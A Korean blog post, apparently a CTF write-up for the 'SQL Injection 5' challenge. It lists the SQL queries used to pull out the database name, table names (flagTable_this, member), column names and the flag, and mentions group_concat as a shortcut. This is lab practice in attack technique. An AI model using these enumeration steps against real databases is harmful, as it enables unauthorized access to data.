Almon Dev

ctf 풀이 (SQL Injection 5) 본문

웹 해킹/웹 해킹(ctf)

ctf 풀이 (SQL Injection 5)

Almon 2024. 11. 30. 16:07

ctf 문제 풀이

 

 

SQL Injection 5

 

 

풀이

SQL Injection 5역시 4번과 php 로직은 같은것으로 보입니다.

sql injection3에서 만들었던 python을 이용해서 풀어보겠습니다.

 

 

1> DB명 추출

select database()

=> DB 명 : sqli_2_2

 

 

2> Table명 추출

select table_name from information_schema.tables where table_schema='sqli_2_2' limit 0,1

=> Table 명 : flagTable_this, member

 

 

3> Column명 추출

select column_name from information_schema.columns where table_schema='sqli_2_2' and table_name='flagTable_this' limit 0,1

=> flagTable_this Column 명 : idx, flag

 

 

4> 데이터 추출

select flag from flagTable_this limit 0,1

문제의 인내심을 가져라 라는게 하나하나 해보라는 뜻 같습니다.

 

 

idx와 group_concat을 이용해서 문자열이 잘리지 않을정도로만 출력하면서 확인하는 방법도 있습니다.

 

'웹 해킹 > 웹 해킹(ctf)' 카테고리의 다른 글

ctf 풀이 (SQL Injection Point 1)  (1) 2024.12.10
ctf 풀이 (SQL Injection 6)  (0) 2024.12.02
ctf 풀이 (SQL Injection 4)  (0) 2024.11.30
ctf 풀이 (SQL Injection 3)  (2) 2024.11.29
ctf 풀이 ( SQL Injection 2 )  (2) 2024.11.24